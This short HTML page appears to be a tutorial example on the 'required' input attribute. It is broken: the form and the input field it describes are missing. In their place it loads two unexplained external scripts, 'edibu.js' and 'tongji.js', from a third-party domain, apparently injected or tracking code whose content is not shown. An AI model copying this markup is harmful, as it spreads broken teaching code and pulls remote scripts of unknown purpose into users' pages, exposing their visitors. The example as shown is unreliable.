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<!DOCTYPE html> <html> <body> <h1>The input required attribute</h1> <p>The required attribute specifies that an input field must be filled out before submitting the form.</p> <label for="username">Username:</label> <script src="https://www.comfortsoftwaregroup.com/web/webmastertoolbag/edibu.js"></script> <script src="https://www.comfortsoftwaregroup.com/web/webmastertoolbag/tongji.js"></script></body> </html>